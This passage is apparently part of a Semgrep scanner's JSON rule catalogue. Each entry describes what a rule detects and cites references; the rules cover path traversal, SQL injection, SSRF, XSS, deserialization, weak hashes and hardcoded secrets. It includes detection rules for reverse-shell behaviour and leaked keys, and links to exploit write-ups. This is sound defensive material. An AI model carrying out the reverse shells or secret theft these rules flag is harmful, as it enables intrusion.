[https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-openpyxl-flask.tainted-path-traversal-openpyxl-flask","id":"python.flask.file.tainted-path-traversal-openpyxl-flask.tainted-path-traversal-openpyxl-flask","name":"python.flask.file.tainted-path-traversal-openpyxl-flask.tainted-path-traversal-openpyxl-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-openpyxl-flask.tainted-path-traversal-openpyxl-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Semgrep found potential reverse shell behavior"},"help":{"markdown":"Semgrep found potential reverse shell behavior\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.java-reverse-shell.java-reverse-shell)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Semgrep found potential reverse shell behavior"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.java-reverse-shell.java-reverse-shell","id":"java.lang.security.audit.java-reverse-shell.java-reverse-shell","name":"java.lang.security.audit.java-reverse-shell.java-reverse-shell","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.java-reverse-shell.java-reverse-shell"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User-controlled data from a request is passed to 'extra()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string."},"help":{"markdown":"User-controlled data from a request is passed to 'extra()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-extra.sql-injection-using-extra-where)\n - [https://docs.djangoproject.com/en/3.0/ref/models/expressions/#.objects.extra](https://docs.djangoproject.com/en/3.0/ref/models/expressions/#.objects.extra)\n","text":"User-controlled data from a request is passed to 'extra()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-extra.sql-injection-using-extra-where","id":"python.django.security.injection.sql.sql-injection-extra.sql-injection-using-extra-where","name":"python.django.security.injection.sql.sql-injection-extra.sql-injection-using-extra-where","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.sql.sql-injection-extra.sql-injection-using-extra-where"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.path-traversal.tainted-path.tainted-path)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/rust.hyper.path-traversal.tainted-path.tainted-path","id":"rust.hyper.path-traversal.tainted-path.tainted-path","name":"rust.hyper.path-traversal.tainted-path.tainted-path","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.path-traversal.tainted-path.tainted-path"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was found to use nscoding, which is not considered secure. When decoding serialized objects, it is not possible to determine what they are, until post-decoding. `NSSecureCoding` should be used in place of nscoding, and secure serialization and deserialization should be used in all cases where such functionality is required."},"help":{"markdown":"The application was found to use nscoding, which is not considered secure. When decoding serialized objects, it is not possible to determine what they are, until post-decoding. `NSSecureCoding` should be used in place of nscoding, and secure serialization and deserialization should be used in all cases where such functionality is required.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.ns.nscoding.swift-nscoding)\n - [https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/](https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/)\n","text":"The application was found to use nscoding, which is not considered secure. When decoding serialized objects, it is not possible to determine what they are, until post-decoding. `NSSecureCoding` should be used in place of nscoding, and secure serialization and deserialization should be used in all cases where such functionality is required."},"helpUri":"https://semgrep.dev/r/swift.lang.ns.nscoding.swift-nscoding","id":"swift.lang.ns.nscoding.swift-nscoding","name":"swift.lang.ns.nscoding.swift-nscoding","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.ns.nscoding.swift-nscoding"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application redirects to a URL specified by user-supplied input `$REQ` that is not validated. This could redirect users to malicious locations. Consider using an allow-list approach to validate URLs, or warn users they are being redirected to a third-party website."},"help":{"markdown":"The application redirects to a URL specified by user-supplied input `$REQ` that is not validated. This could redirect users to malicious locations. Consider using an allow-list approach to validate URLs, or warn users they are being redirected to a third-party website.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-open-redirect.express-open-redirect)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The application redirects to a URL specified by user-supplied input `$REQ` that is not validated. This could redirect users to malicious locations. Consider using an allow-list approach to validate URLs, or warn users they are being redirected to a third-party website."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-open-redirect.express-open-redirect","id":"javascript.express.security.audit.express-open-redirect.express-open-redirect","name":"javascript.express.security.audit.express-open-redirect.express-open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-open-redirect.express-open-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`$SINK_VAR` has previously been deleted which will trigger a double-free vulnerability. This may lead to memory corruption."},"help":{"markdown":"`$SINK_VAR` has previously been deleted which will trigger a double-free vulnerability. This may lead to memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.deallocation.double-delete.double-delete)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory)\n","text":"`$SINK_VAR` has previously been deleted which will trigger a double-free vulnerability. This may lead to memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.deallocation.double-delete.double-delete","id":"cpp.lang.security.memory.deallocation.double-delete.double-delete","name":"cpp.lang.security.memory.deallocation.double-delete.double-delete","properties":{"precision":"very-high","tags":["CWE-415: Double Free","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.deallocation.double-delete.double-delete"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.directoryentry-hardcoded-secret.directoryentry-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.directoryentry-hardcoded-secret.directoryentry-hardcoded-secret","id":"csharp.lang.security.system.directoryentry-hardcoded-secret.directoryentry-hardcoded-secret","name":"csharp.lang.security.system.directoryentry-hardcoded-secret.directoryentry-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.directoryentry-hardcoded-secret.directoryentry-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Downcasting or changing sign of an integer with `$CAST_METHOD` method"},"help":{"markdown":"Downcasting or changing sign of an integer with `$CAST_METHOD` method\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.string-to-int-signedness-cast.string-to-int-signedness-cast)\n - [https://github.com/golang/go/issues/30209](https://github.com/golang/go/issues/30209)\n","text":"Downcasting or changing sign of an integer with `$CAST_METHOD` method"},"helpUri":"https://semgrep.dev/r/trailofbits.go.string-to-int-signedness-cast.string-to-int-signedness-cast","id":"trailofbits.go.string-to-int-signedness-cast.string-to-int-signedness-cast","name":"trailofbits.go.string-to-int-signedness-cast.string-to-int-signedness-cast","properties":{"precision":"very-high","tags":["CWE-681: Incorrect Conversion between Numeric Types","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.string-to-int-signedness-cast.string-to-int-signedness-cast"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic mode. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices."},"help":{"markdown":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic mode. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.crypto.weak-symmetric-mode.weak-symmetric-mode)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic mode. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices."},"helpUri":"https://semgrep.dev/r/javascript.crypto.weak-symmetric-mode.weak-symmetric-mode","id":"javascript.crypto.weak-symmetric-mode.weak-symmetric-mode","name":"javascript.crypto.weak-symmetric-mode.weak-symmetric-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.crypto.weak-symmetric-mode.weak-symmetric-mode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"AWS AppSync GraphQL Key detected"},"help":{"markdown":"AWS AppSync GraphQL Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-aws-appsync-graphql-key.detected-aws-appsync-graphql-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"AWS AppSync GraphQL Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-aws-appsync-graphql-key.detected-aws-appsync-graphql-key","id":"generic.secrets.security.detected-aws-appsync-graphql-key.detected-aws-appsync-graphql-key","name":"generic.secrets.security.detected-aws-appsync-graphql-key.detected-aws-appsync-graphql-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-aws-appsync-graphql-key.detected-aws-appsync-graphql-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for attempts to connect to an insecure telnet server using the package telnet. This is bad because it can lead to man in the middle attacks."},"help":{"markdown":"Checks for attempts to connect to an insecure telnet server using the package telnet. This is bad because it can lead to man in the middle attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.telnet-request.telnet-request)\n - [https://godoc.org/github.com/reiver/go-telnet](https://godoc.org/github.com/reiver/go-telnet)\n","text":"Checks for attempts to connect to an insecure telnet server using the package telnet. This is bad because it can lead to man in the middle attacks."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.telnet-request.telnet-request","id":"problem-based-packs.insecure-transport.go-stdlib.telnet-request.telnet-request","name":"problem-based-packs.insecure-transport.go-stdlib.telnet-request.telnet-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.telnet-request.telnet-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ERC677 callAfterTransfer() reentrancy"},"help":{"markdown":"ERC677 callAfterTransfer() reentrancy\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.erc677-reentrancy.erc677-reentrancy)\n - [https://twitter.com/peckshield/status/1509431646818234369](https://twitter.com/peckshield/status/1509431646818234369)\n - [https://twitter.com/blocksecteam/status/1509466576848064512](https://twitter.com/blocksecteam/status/1509466576848064512)\n - [https://explorer.fuse.io/address/0x139Eb08579eec664d461f0B754c1F8B569044611](https://explorer.fuse.io/address/0x139Eb08579eec664d461f0B754c1F8B569044611)\n - [https://explorer.fuse.io/address/0x5De15b5543c178C111915d6B8ae929Af01a8cC58](https://explorer.fuse.io/address/0x5De15b5543c178C111915d6B8ae929Af01a8cC58)\n","text":"ERC677 callAfterTransfer() reentrancy"},"helpUri":"https://semgrep.dev/r/solidity.security.erc677-reentrancy.erc677-reentrancy","id":"solidity.security.erc677-reentrancy.erc677-reentrancy","name":"solidity.security.erc677-reentrancy.erc677-reentrancy","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.erc677-reentrancy.erc677-reentrancy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a request with potential user-input going into a OutputStream or Writer object. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as JavaServer Faces (JSFs) which automatically escapes HTML views."},"help":{"markdown":"Detected a request with potential user-input going into a OutputStream or Writer object. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as JavaServer Faces (JSFs) which automatically escapes HTML views.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer)\n - [https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html](https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html)\n","text":"Detected a request with potential user-input going into a OutputStream or Writer object. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as JavaServer Faces (JSFs) which automatically escapes HTML views."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer","id":"java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer","name":"java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, hardcode the correct host, or ensure that the user data can only affect the path or parameters."},"help":{"markdown":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, hardcode the correct host, or ensure that the user data can only affect the path or parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-url-host.tainted-url-host)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, hardcode the correct host, or ensure that the user data can only affect the path or parameters."},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-url-host.tainted-url-host","id":"java.spring.security.injection.tainted-url-host.tainted-url-host","name":"java.spring.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1)\n - [https://cryptography.io/en/latest/hazmat/primitives/cryptographic-hashes/#sha-1](https://cryptography.io/en/latest/hazmat/primitives/cryptographic-hashes/#sha-1)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","id":"python.cryptography.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","name":"python.cryptography.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-hash-algorithms-md5.insecure-hash-algorithm-md5)\n - [https://cryptography.io/en/latest/hazmat/primitives/cryptographic-hashes/#md5](https://cryptography.io/en/latest/hazmat/primitives/cryptographic-hashes/#md5)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-hash-algorithms-md5.insecure-hash-algorithm-md5","id":"python.cryptography.security.insecure-hash-algorithms-md5.insecure-hash-algorithm-md5","name":"python.cryptography.security.insecure-hash-algorithms-md5.insecure-hash-algorithm-md5","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-hash-algorithms-md5.insecure-hash-algorithm-md5"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Semgrep could not determine that the argument to 'template.HTML()' is a constant. 'template.HTML()' and similar does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability. Instead, do not use this function and use 'template.Execute()'."},"help":{"markdown":"Semgrep could not determine that the argument to 'template.HTML()' is a constant. 'template.HTML()' and similar does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability. Instead, do not use this function and use 'template.Execute()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.template-html-does-not-escape.unsafe-template-type)\n - [https://golang.org/pkg/html/template/#HTML](https://golang.org/pkg/html/template/#HTML)\n - [https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/vulnerability/xss/xss.go#L33](https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/vulnerability/xss/xss.go#L33)\n","text":"Semgrep could not determine that the argument to 'template.HTML()' is a constant. 'template.HTML()' and similar does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability. Instead, do not use this function and use 'template.Execute()'."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.template-html-does-not-escape.unsafe-template-type","id":"go.lang.security.audit.xss.template-html-does-not-escape.unsafe-template-type","name":"go.lang.security.audit.xss.template-html-does-not-escape.unsafe-template-type","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.template-html-does-not-escape.unsafe-template-type"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-pandas-hdf-pyramid.tainted-pandas-hdf-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: 